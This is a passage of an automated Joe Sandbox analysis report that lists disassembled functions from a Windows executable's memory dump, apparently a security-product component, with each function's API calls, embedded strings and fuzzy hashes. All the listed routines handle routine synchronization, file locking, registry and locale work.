Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Part of subcall function 00451FE0: SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
Part of subcall function 00451FE0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
Part of subcall function 00451FE0: LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

n, xrefs: 0049E824
n, xrefs: 0049E7C6
n, xrefs: 0049E8C2
n, xrefs: 0049E86C
n, xrefs: 0049E85F
lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0049E8E5, 0049E913

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$EnterEventObjectSingleWait___std_exception_destroy
String ID: n$ n$ n$ n$ n$lifetime_object must be allocated on static memory (static or global variable or member of such a variable).
API String ID: 1073078398-369754090
Opcode ID: 6e90c41109334478cae0a232812c3db16fbecebc025cff25025eba33f303ea52
Instruction ID: 9cde67c1747e0c5642a0015d8641912d7545056c46b790156d86ba1d22c7dba0
Opcode Fuzzy Hash: 6e90c41109334478cae0a232812c3db16fbecebc025cff25025eba33f303ea52
Instruction Fuzzy Hash: 3D51C070D013589BDB10EFA6D849B9EBFF9EF14314F14452AE40067381EB796A08CBA5

Function 0049F060 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 284synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(?,000000FF,?,B6184AA8,000000FF,00000000), ref: 0049F183
CloseHandle.KERNEL32(?), ref: 0049F19A
___std_exception_destroy.LIBVCRUNTIME ref: 0049F3C4

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Part of subcall function 00451FE0: SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
Part of subcall function 00451FE0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
Part of subcall function 00451FE0: LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

4n, xrefs: 0049F258
4n, xrefs: 0049F356
Attempt to unload a module which is still used by another, xrefs: 0049F37B
lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0049F1CC, 0049F1FA

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$EnterEventObjectSingleWait___std_exception_destroy
String ID: 4n$4n$Attempt to unload a module which is still used by another$lifetime_object must be allocated on static memory (static or global variable or member of such a variable).
API String ID: 1073078398-4147576169
Opcode ID: 75922f867c3a06a01c074c503ed2c9882d641ff0100338337de51043bd3d5409
Instruction ID: 1d27ae22ee41301db2ebdb13eb2b25d75343f7594f4ede7ef32653ac0ddcbc89
Opcode Fuzzy Hash: 75922f867c3a06a01c074c503ed2c9882d641ff0100338337de51043bd3d5409
Instruction Fuzzy Hash: 7BB1A070A006099FCF10DF65D845BAEBBB5FF54314F14426EE815A7391EB38AE08CB94

Function 0049D930 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 284synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(?,000000FF,?,B6184AA8,?,?), ref: 0049DA53
CloseHandle.KERNEL32(?), ref: 0049DA6A
___std_exception_destroy.LIBVCRUNTIME ref: 0049DC94

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Part of subcall function 00451FE0: SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
Part of subcall function 00451FE0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
Part of subcall function 00451FE0: LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

n, xrefs: 0049DB28
Attempt to unload a module which is still used by another, xrefs: 0049DC4B
n, xrefs: 0049DC26
lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0049DA9C, 0049DACA

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$EnterEventObjectSingleWait___std_exception_destroy
String ID: Attempt to unload a module which is still used by another$lifetime_object must be allocated on static memory (static or global variable or member of such a variable).$n$n
API String ID: 1073078398-2127214329
Opcode ID: e5f79736ca5ea631c1b41d1607e5d6c1c410abf3234109780001f5d5b2825ca2
Instruction ID: e94d691115f8f8be6276dcaf910ae032ffbb730eb0c197a8bd4baad330e9e5ae
Opcode Fuzzy Hash: e5f79736ca5ea631c1b41d1607e5d6c1c410abf3234109780001f5d5b2825ca2
Instruction Fuzzy Hash: B2B19FB0E006099FCF10DF65D945BAEBBB5FF54314F14826EE415A7390EB78AA04CB94

Function 00401FF4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 193COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(006EE074,Bprotect,00000008,B6184AA8), ref: 0040201B
LeaveCriticalSection.KERNEL32(006EE074,?,?,00000000), ref: 004020E3
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00402192
CloseHandle.KERNEL32(?), ref: 004021A6
WaitForMultipleObjects.KERNEL32(00000002,006EE06C,00000000,00004E20), ref: 00402231
LeaveCriticalSection.KERNEL32(006EE074,00000000), ref: 004022C7
GetLastError.KERNEL32(Unable to create sync event,?,?), ref: 004022FE
std::_Throw_Cpp_error.LIBCPMT ref: 0040232F

Strings

tn, xrefs: 00402014

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$Leave$CloseCpp_errorCreateEnterErrorEventHandleLastMultipleObjectsThrow_Waitstd::_
String ID: tn
API String ID: 2440616319-1896859131
Opcode ID: fd221c341f1be9bf3a1a85b5229df94d4f077d4ca7e526acde712c9467d2c379
Instruction ID: dd945458dd0cfad2acbd529128a9192ae54097794620c5da0f37709c445c2b4f
Opcode Fuzzy Hash: fd221c341f1be9bf3a1a85b5229df94d4f077d4ca7e526acde712c9467d2c379
Instruction Fuzzy Hash: 2C81AD70E01208DFDB15DFA8C948BADBBB0BF58310F18415AE905BB3D1DBB8A945CB94

Function 00599900 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00599937
___except_validate_context_record.LIBVCRUNTIME ref: 0059993F
_ValidateLocalCookies.LIBCMT ref: 005999C8
__IsNonwritableInCurrentImage.LIBCMT ref: 005999F3
_ValidateLocalCookies.LIBCMT ref: 00599A48

Strings

csm, xrefs: 005999DD
csm, xrefs: 00599A73

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 9fa9ebc5508404545bb0625d8d904f48daa1fa0a99fc2bb2ce50941a41ab60c1
Instruction ID: 5c70af8e53f9563e03bc22498cc8d85d39e9e331e7eab5365e6367f1e2b3b74e
Opcode Fuzzy Hash: 9fa9ebc5508404545bb0625d8d904f48daa1fa0a99fc2bb2ce50941a41ab60c1
Instruction Fuzzy Hash: 03515C34A002059BCF14DF6DC888AAE7FA5FF95324F14819DE8159B2A2D771EE41CB91

Function 0043EAA0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0043CFB0: CreateFileW.KERNEL32(005D06FE,?,00000007,00000000,?,08000000,00000000), ref: 0043D03A
Part of subcall function 0043CFB0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,005D06FE,000000FF,?,0043EB36), ref: 0043D054
Part of subcall function 0043CFB0: CloseHandle.KERNEL32(00000064,?,?,?,?,?,?,?,?,?,?,?,?,005D06FE,000000FF), ref: 0043D0AC

LockFileEx.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?), ref: 0043EB92
UnlockFileEx.KERNEL32(?,00000000,FFFFFFFF,00000000,?), ref: 0043EBBE
SetLastError.KERNEL32(00000000,?), ref: 0043EBD5
CloseHandle.KERNEL32(00000000), ref: 0043EC2D
GetLastError.KERNEL32(couldn't obtain shared file lock), ref: 0043EC7E
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 0043EC88

Part of subcall function 004403B0: GetFileSizeEx.KERNEL32(00000000,?,B6184AA8,00000001), ref: 0044043C
Part of subcall function 004403B0: ReadFile.KERNEL32(?,?,?,00000000,?), ref: 004404CF

Strings

couldn't obtain shared file lock, xrefs: 0043EC79

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: File$ErrorLast$CloseHandle$Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_errorCreateLockReadSizeUnlock
String ID: couldn't obtain shared file lock
API String ID: 2755012231-3717060661
Opcode ID: 5d9e179b3d574b933eec249392aa4ccb8f4567aaac217ca29a1542c9a2708112
Instruction ID: dd0393180515690f7e89a91e31f7efdbcd6759ca3f08ba33b3a23f81fac28414
Opcode Fuzzy Hash: 5d9e179b3d574b933eec249392aa4ccb8f4567aaac217ca29a1542c9a2708112
Instruction Fuzzy Hash: 0B51ADB1D01208AFDB10DFA4DD49BDEBBB5AF58314F108219E415B72C1EB786A08CB65

Function 004AA090 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000004,B6184AA8,0000001C,00000000,?,?,?,?,?,?,?,00000000,005D6E15,000000FF,?,004AA9F2), ref: 004AA0DC
LeaveCriticalSection.KERNEL32(?), ref: 004AA117

Part of subcall function 00599DCB: RaiseException.KERNEL32(E06D7363,00000001,00000003,00428E1C,?,?,?,?,00428E1C,B6184AA8,0068531C,B6184AA8), ref: 00599E2B

Part of subcall function 00599D05: ___unDName.LIBVCRUNTIME ref: 00599D32

EnterCriticalSection.KERNEL32(?), ref: 004AA1E4
LeaveCriticalSection.KERNEL32(?), ref: 004AA22A

Strings

asw::serialization::ConcreteData<struct asw::settings::EnumeratePropertiesInput>::Value: Invalid data., xrefs: 004AA13C
in, xrefs: 004AA233
asw::serialization::ConcreteData<struct asw::settings::EnumeratePropertiesInput>::GetSerializedData: Invalid data., xrefs: 004AA26C
asw::serialization::ConcreteData<struct asw::settings::EnumeratePropertiesInput>::GetSerializedData: Not a serializeable data., xrefs: 004AA29A

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ExceptionNameRaise___un
String ID: asw::serialization::ConcreteData<struct asw::settings::EnumeratePropertiesInput>::GetSerializedData: Invalid data.$asw::serialization::ConcreteData<struct asw::settings::EnumeratePropertiesInput>::GetSerializedData: Not a serializeable data.$asw::serialization::ConcreteData<struct asw::settings::EnumeratePropertiesInput>::Value: Invalid data.$in
API String ID: 4199157832-727463713
Opcode ID: a4678118b8a7eff7ce7b2f2d667569f3dfa02b7ac06ddfa0ac6dbba06fb1ad08
Instruction ID: f1a36485b42a1c398abd260398846db585595de98e37bcab13f16161fab08510
Opcode Fuzzy Hash: a4678118b8a7eff7ce7b2f2d667569f3dfa02b7ac06ddfa0ac6dbba06fb1ad08
Instruction Fuzzy Hash: 5181F271A00209AFCB00DF68D885BEEBBF9FF49704F10011AE805E7740EB38A955CB95

Function 004024E0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 326COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00402583
LeaveCriticalSection.KERNEL32(006EE0AC), ref: 004025B7
LeaveCriticalSection.KERNEL32(006EE0AC,?,?,00000FF8), ref: 00402923
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004029C1

Strings

Exception stack: , xrefs: 004027D0
Module base:, xrefs: 0040286D

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$Leave$EnterIos_base_dtorstd::ios_base::_
String ID: Exception stack: $Module base:
API String ID: 1215633889-3948699789
Opcode ID: 199ed8e05ec2f092a9a6f980402f2900225382792d4b8f7b94857595fd2a8707
Instruction ID: bfeffbdfc5432251ec4084bd9c0ae0db8eae18308c1e08b597c160e50caa0225
Opcode Fuzzy Hash: 199ed8e05ec2f092a9a6f980402f2900225382792d4b8f7b94857595fd2a8707
Instruction Fuzzy Hash: B2D18E70A002199FDB24CF64CC49BAEBBB5FF46304F0041A9E409AB7C1DBB95A44CF96

Function 00454D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 224COMMON

Download Yara Rule

APIs

FindVolumeClose.KERNEL32(00000000,?,?,0068501C,00000057,B6184AA8,?,?), ref: 0045504B

Strings

\SystemRoot\, xrefs: 00454E6B
>b, xrefs: 00454DD5
\Device\LanmanRedirector\, xrefs: 00454D91
\Device\Mup\, xrefs: 00454E11
>b, xrefs: 00454E46

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CloseFindVolume
String ID: \Device\LanmanRedirector\$\Device\Mup\$\SystemRoot\$>b$>b
API String ID: 664902110-1560004307
Opcode ID: 4088a910a1d907179d7f72182c7a5bd836969b0592ed95d956047b51bb3ee378
Instruction ID: e0a2604c14ea078ead796fb8bd15431aa7f3e031e87d2d90a6e73753622e370e
Opcode Fuzzy Hash: 4088a910a1d907179d7f72182c7a5bd836969b0592ed95d956047b51bb3ee378
Instruction Fuzzy Hash: 0D81B070D01218EFCF10DFA5D985ADDB7F5EF58308F50425EE805A7282EB786A48CB95

Function 00443A90 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 219COMMON

Download Yara Rule

Strings

Resource section is empty, xrefs: 00443AD8
There is no resource section in module, xrefs: 00443AAF
StringFileInfo, xrefs: 00443B7C
Unable to determine product identifier from resources!, xrefs: 00443CF7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: Resource section is empty$StringFileInfo$There is no resource section in module$Unable to determine product identifier from resources!
API String ID: 0-3023212541
Opcode ID: 936de0208061bf1bd2d86c685d7bed612bd5852204dae909338be13548ff0ea2
Instruction ID: 60a4b14ed431ec4b58301b7e3507d9d5913d1f97a911281d8f681c884d41a4fd
Opcode Fuzzy Hash: 936de0208061bf1bd2d86c685d7bed612bd5852204dae909338be13548ff0ea2
Instruction Fuzzy Hash: B881E333D005258BCB10CF68D8817AAF7B1FF95721F19835AD825AB2D0E778AA44CB94

Function 00455A40 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 210registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00459B90: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,B6184AA8,00000000,006EEA78), ref: 00459C4E

RegCloseKey.ADVAPI32(?,?,?), ref: 00455AD1
SetLastError.KERNEL32(00000000), ref: 00455ADC
ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000025,00000000,?,?,?), ref: 00455B6A
ExpandEnvironmentStringsW.KERNEL32(?,?,00000001,-00000001,00000000,?,?,?), ref: 00455BD8

Strings

String environment expansion failed due to unexpected buffer size, xrefs: 00455CA5
String environment expansion failed, xrefs: 00455C77

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: EnvironmentExpandStrings$CloseErrorLastOpen
String ID: String environment expansion failed$String environment expansion failed due to unexpected buffer size
API String ID: 2483220543-527591527
Opcode ID: 40e8f8ec81dc613ccc0f97b701f3d60127867f63384e28b3ce4fe6cfdd3110da
Instruction ID: 244d935cf163ebfd7db258ac291cf3fd8cda319d74f393958bd102098912d2b2
Opcode Fuzzy Hash: 40e8f8ec81dc613ccc0f97b701f3d60127867f63384e28b3ce4fe6cfdd3110da
Instruction Fuzzy Hash: 3A8194B0D10718ABDB10DFA4DC59BAEBBB4FF44714F10461EE841A7291EB78AA48CB54

Function 00592510 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0059266D
std::_Lockit::_Lockit.LIBCPMT ref: 0059268D
std::_Lockit::~_Lockit.LIBCPMT ref: 005926AD
std::_Facet_Register.LIBCPMT ref: 0059274B
std::_Lockit::~_Lockit.LIBCPMT ref: 00592763

Strings

r+Y, xrefs: 00592543, 00592655

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: r+Y
API String ID: 459529453-3438506261
Opcode ID: dd5f9bc5c3f26e5b9839cf0ca32ed0738ad30d3ac01306b8fc938cdb744d1dc4
Instruction ID: 4b508051d9c143f0685a1c73bd2273fc31043e141a162dbcfba103a6fde9a009
Opcode Fuzzy Hash: dd5f9bc5c3f26e5b9839cf0ca32ed0738ad30d3ac01306b8fc938cdb744d1dc4
Instruction Fuzzy Hash: 3B71BF71904259EFCF14DF58D884BAEBBB5FF48714F148159E805AB381DB30AE44CB90

Function 00423440 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004234C3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0042350F
__Getctype.LIBCPMT ref: 00423528
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00423544
std::_Lockit::~_Lockit.LIBCPMT ref: 004235D9

Strings

bad locale name, xrefs: 004235F7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

